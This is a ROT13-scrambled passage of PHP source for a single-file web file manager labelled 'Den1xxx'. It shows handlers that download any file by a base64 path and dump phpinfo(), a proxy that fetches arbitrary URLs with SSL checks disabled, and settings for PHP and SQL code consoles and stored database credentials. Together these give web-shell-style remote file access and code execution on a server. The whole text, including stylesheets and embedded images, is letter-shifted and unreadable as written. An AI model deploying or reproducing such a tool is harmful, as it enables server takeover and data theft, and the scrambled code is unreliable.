			qrsnhyg: qvr();
		}
		urnqre("Pbagrag-glcr: vzntr/$rkg");
		rpub svyr_trg_pbagragf($svyr);
		qvr();
	}
}

// Whfg qbjaybnq svyr
vs (vffrg($_TRG['qbjaybnq'])) {
	$svyr=onfr64_qrpbqr($_TRG['qbjaybnq']);
	sz_qbjaybnq($svyr);	
}

// Whfg fubj vasb
vs (vffrg($_TRG['cucvasb'])) {
	cucvasb(); 
	qvr();
}

// Zvav cebkl, znal ohtf!
vs (vffrg($_TRG['cebkl']) && (!rzcgl($sz_pbasvt['ranoyr_cebkl']))) {
	$hey = vffrg($_TRG['hey'])?heyqrpbqr($_TRG['hey']):'';
	$cebkl_sbez = '
<qvi fglyr="cbfvgvba:eryngvir;m-vaqrk:100500;onpxtebhaq: yvarne-tenqvrag(gb obggbz, #r4s5sp 0%,#osr8s9 50%,#9sq8rs 51%,#2no0rq 100%);">
	<sbez npgvba="" zrgubq="TRG">
	<vachg glcr="uvqqra" anzr="cebkl" inyhr="gehr">
	'.sz_ubzr().' <n uers="'.$hey.'" gnetrg="_oynax">Hey</n>: <vachg glcr="grkg" anzr="hey" inyhr="'.$hey.'" fvmr="55">
	<vachg glcr="fhozvg" inyhr="'.__('Fubj').'" pynff="sz_vachg">
	</sbez>
</qvi>
';
	vs ($hey) {
		$pu = phey_vavg($hey);
		phey_frgbcg($pu, PHEYBCG_HFRENTRAG, 'Qra1kkk grfg cebkl');
		phey_frgbcg($pu, PHEYBCG_SBYYBJYBPNGVBA, 1);
		phey_frgbcg($pu, PHEYBCG_FFY_IREVSLUBFG,0);
		phey_frgbcg($pu, PHEYBCG_FFY_IREVSLCRRE,0);
		phey_frgbcg($pu, PHEYBCG_URNQRE, 0);
		phey_frgbcg($pu, PHEYBCG_ERSRERE, $hey);
		phey_frgbcg($pu, PHEYBCG_ERGHEAGENAFSRE,gehr);
		$erfhyg = phey_rkrp($pu);
		phey_pybfr($pu);
		//$erfhyg = cert_ercynpr('#(fep)=["\'][uggc://]?([^:]*)["\']#Hv', '\\1="'.$hey.'/\\2"', $erfhyg);
		$erfhyg = cert_ercynpr_pnyyonpx('#(uers|fep)=["\'][uggc://]?([^:]*)["\']#Hv', 'sz_hey_cebkl', $erfhyg);
		$erfhyg = cert_ercynpr('%(<obql.*?>)%v', '$1'.'<fglyr>'.sz_ubzr_fglyr().'</fglyr>'.$cebkl_sbez, $erfhyg);
		rpub $erfhyg;
		qvr();
	} 
}
?>
<!qbpglcr ugzy>
<ugzy>
<urnq>     
	<zrgn punefrg="hgs-8" />
	<zrgn anzr="ivrjcbeg" pbagrag="jvqgu=qrivpr-jvqgu, vavgvny-fpnyr=1" />
    <gvgyr><?=__('Svyr znantre')?></gvgyr>
<fglyr>
obql {
	onpxtebhaq-pbybe:	juvgr;
	sbag-snzvyl:		Ireqnan, Nevny, Uryirgvpn, fnaf-frevs;
	sbag-fvmr:			8cg;
	znetva:				0ck;
}

n:yvax, n:npgvir, n:ivfvgrq { pbybe: #006699; grkg-qrpbengvba: abar; }
n:ubire { pbybe: #QQ6900; grkg-qrpbengvba: haqreyvar; }
n.gu:yvax { pbybe: #SSN34S; grkg-qrpbengvba: abar; }
n.gu:npgvir { pbybe: #SSN34S; grkg-qrpbengvba: abar; }
n.gu:ivfvgrq { pbybe: #SSN34S; grkg-qrpbengvba: abar; }
n.gu:ubire {  pbybe: #SSN34S; grkg-qrpbengvba: haqreyvar; }

gnoyr.ot {
	onpxtebhaq-pbybe: #NPOOP6
}

gu, gq { 
	sbag:	abezny 8cg Ireqnan, Nevny, Uryirgvpn, fnaf-frevs;
	cnqqvat: 3ck;
}

gu	{
	urvtug:				25ck;
	onpxtebhaq-pbybe:	#006699;
	pbybe:				#SSN34S;
	sbag-jrvtug:		obyq;
	sbag-fvmr:			11ck;
}

.ebj1 {
	onpxtebhaq-pbybe:	#RSRSRS;
}

.ebj2 {
	onpxtebhaq-pbybe:	#QRR3R7;
}

.ebj3 {
	onpxtebhaq-pbybe:	#Q1Q7QP;
	cnqqvat: 5ck;
}

ge.ebj1:ubire {
	onpxtebhaq-pbybe:	#S3SPSP;
}

ge.ebj2:ubire {
	onpxtebhaq-pbybe:	#S0S6S6;
}

.jubyr {
	jvqgu: 100%;
}

.nyy gobql gq:svefg-puvyq{jvqgu:100%;}

grkgnern {
	sbag: 9cg 'Pbhevre Arj', pbhevre;
	yvar-urvtug: 125%;
	cnqqvat: 5ck;
}

.grkgnern_vachg {
	urvtug: 1rz;
}

.grkgnern_vachg:sbphf {
	urvtug: nhgb;
}

vachg[glcr=fhozvg]{
	onpxtebhaq: #SPSPSP abar !vzcbegnag;
	phefbe: cbvagre;
}

.sbyqre {
    onpxtebhaq-vzntr: hey("qngn:vzntr/cat;onfr64,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");
}

.svyr {
    onpxtebhaq-vzntr: hey("qngn:vzntr/cat;onfr64,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");
}
<?=sz_ubzr_fglyr()?>
.vzt {
	onpxtebhaq-vzntr: 
hey("qngn:vzntr/cat;onfr64,vIOBEj0XTtbNNNNAFHuRHtNNNONNNNNDPNZNNNNbYD9GNNNNOTqOGHRNNX/VAjJX6DNNNqSDGSES7r3g/s39cW+s+pWnwI8d6racxTVz/fSB/+2B393p5hoz/fkoq29lvzqarSt65BGx2mbL6hUv1mNF1peWfUf2altb3Aeo2YOKeLgz2c5N/+uKcbEdcXBxjev46+ie0ZT36Lfm6hwczV6NamHljY+/zKIFzVOA8ojjw1IOlYTmn1MW0AQDwLFO/9AwjM6PjHNfkx0oeMlJj7czTM4N6YgqxUqs/+A8lbj27o5J87EAYMY/2ovC7jNN//TWy5rK4AsLfnnYtc6u1o+g/+6E68Sr89lpvzMq/hDi3e9AhcPO99I25n1pIWooaUuB/8kF+ZOn8sQjv2Wv48dv/+dBqIVmf34k//TBKVmLc5FC/fktdcvVpc+/fvDcpzcfgnlfmFNAhXXG9CG04hYvjVxl8YqR+fIJidnz8r/iY5VM+eyU8pAt08Ppm7nq8iYl9YgH1dlHhM4+e512+8f/jHcY3q3qk7J1sTAn/89M2psU+f5a6Bwbo1Lgf7Xm19sKjVt4c1qA+Cw4mYE0+8cq7fgeuXNf/9uw/9OI1XgsgYF1ac2qLyWFMSII5YEJuRSO5euM/9Wd0UgG//PFxVdW6X5Q+YAAoyIIiwZ047MZm7r31kRT////gXth6jNNNWg0Hx5G/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////jPIIcXLNNNNTKESJUEGo2M0q2SlMDOOMT9vMFOWoJSaMIWyLJE5ppyyCNNNNAMWERSHXSAwzXJvCDfMZZkvzfdCXcNo2ZfNMAwYBjxmttIzWLalcf/DR59rXPRgOunLSEswMhGuU27yL6xdOkLbeF/BZP5jvUMxy2DPPIGxA+gegSw4MFcZznjQSOQ0yPblamMOy1aVWw55RyON09cqip9ohG1FLXLOJj1DVP0bALfweSUWcFxiELfOXPPoZ9UYA9gJeodawHHTMT1NuThVKMEmcDy3nTjQ2O2pMM2mRbY7J+h6dlNhaMKVBZiDeSlxdjGvSmODABKw4DXmbNXmnwgLVDjNyigcy3I5p8ZNNNNNFHIBEX5PLVV=");
}
@zrqvn fperra naq (znk-jvqgu:720ck){
  gnoyr{qvfcynl:oybpx;}
    #sz_gnoyr gq{qvfcynl:vayvar;sybng:yrsg;}
    #sz_gnoyr gobql gq:svefg-puvyq{jvqgu:100%;cnqqvat:0;}
    #sz_gnoyr gobql ge:agu-puvyq(2a+1){onpxtebhaq-pbybe:#RSRSRS;}
    #sz_gnoyr gobql ge:agu-puvyq(2a){onpxtebhaq-pbybe:#QRR3R7;}
    #sz_gnoyr ge{qvfcynl:oybpx;sybng:yrsg;pyrne:yrsg;jvqgu:100%;}
	#urnqre_gnoyr .ebj2, #urnqre_gnoyr .ebj3 {qvfcynl:vayvar;sybng:yrsg;jvqgu:100%;cnqqvat:0;}
	#urnqre_gnoyr gnoyr gq {qvfcynl:vayvar;sybng:yrsg;}
}
</fglyr>
</urnq>
<obql>
<?cuc
$hey_vap = '?sz=gehr';
vs (vffrg($_CBFG['fdyeha'])&&!rzcgl($sz_pbasvt['ranoyr_fdy_pbafbyr'])){
	$erf = rzcgl($_CBFG['fdy']) ? '' : $_CBFG['fdy'];
	$erf_yat = 'fdy';
} ryfrvs (vffrg($_CBFG['cuceha'])&&!rzcgl($sz_pbasvt['ranoyr_cuc_pbafbyr'])){
	$erf = rzcgl($_CBFG['cuc']) ? '' : $_CBFG['cuc'];
	$erf_yat = 'cuc';
} 
vs (vffrg($_TRG['sz_frggvatf'])) {
	rpub ' 
<gnoyr pynff="jubyr">
<sbez zrgubq="cbfg" npgvba="">
<ge><gu pbyfcna="2">'.__('Svyr znantre').' - '.__('Frggvatf').'</gu></ge>
'.(rzcgl($zft)?'':'<ge><gq pynff="ebj2" pbyfcna="2">'.$zft.'</gq></ge>').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj fvmr bs gur sbyqre'),'fubj_qve_fvmr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('cvpgherf'),'fubj_vzt').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Znxr qverpgbel'),'znxr_qverpgbel').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Arj svyr'),'arj_svyr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Hcybnq'),'hcybnq_svyr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' CUC irefvba','fubj_cuc_ire').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' CUC vav','fubj_cuc_vav').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Trarengvba gvzr'),'fubj_tg').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' kyf','fubj_kyf').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' CUC '.__('Pbafbyr'),'ranoyr_cuc_pbafbyr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' FDY '.__('Pbafbyr'),'ranoyr_fdy_pbafbyr').'
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_freire]" inyhr="'.$sz_pbasvt['fdy_freire'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY freire</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_hfreanzr]" inyhr="'.$sz_pbasvt['fdy_hfreanzr'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY hfre</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_cnffjbeq]" inyhr="'.$sz_pbasvt['fdy_cnffjbeq'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY cnffjbeq</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_qo]" inyhr="'.$sz_pbasvt['fdy_qo'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY QO</gq></ge>
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' Cebkl','ranoyr_cebkl').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' cucvasb()','fubj_cucvasb').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Frggvatf'),'sz_frggvatf').'
'.sz_pbasvt_purpxobk_ebj(__('Erfgber svyr gvzr nsgre rqvgvat'),'erfgber_gvzr').'
'.sz_pbasvt_purpxobk_ebj(__('Svyr znantre').': '.__('Erfgber svyr gvzr nsgre rqvgvat'),'sz_erfgber_gvzr').'
<ge><gq pynff="ebj3"><n uers="'.sz_hey().'?sz_frggvatf=gehr&sz_pbasvt_qryrgr=gehr">'.__('Erfrg frggvatf').'</n></gq><gq pynff="ebj3"><vachg glcr="fhozvg" inyhr="'.__('Fnir').'" anzr="sz_pbasvt[sz_frg_fhozvg]"></gq></ge>
</sbez>
</gnoyr>
<gnoyr>
<sbez zrgubq="cbfg" npgvba="">
<ge><gu pbyfcna="2">'.__('Frggvatf').' - '.__('Nhgubevmngvba').'</gu></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[nhgubevmr]" inyhr="1" '.($nhgu['nhgubevmr']?'purpxrq':'').' glcr="purpxobk" vq="nhgu"></gq><gq pynff="ebj2 jubyr"><ynory sbe="nhgu">'.__('Nhgubevmngvba').'</ynory></gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[ybtva]" inyhr="'.$nhgu['ybtva'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Ybtva').'</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[cnffjbeq]" inyhr="'.$nhgu['cnffjbeq'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Cnffjbeq').'</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[pbbxvr_anzr]" inyhr="'.$nhgu['pbbxvr_anzr'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Pbbxvr').'</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[qnlf_nhgubevmngvba]" inyhr="'.$nhgu['qnlf_nhgubevmngvba'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Qnlf').'</gq></ge>
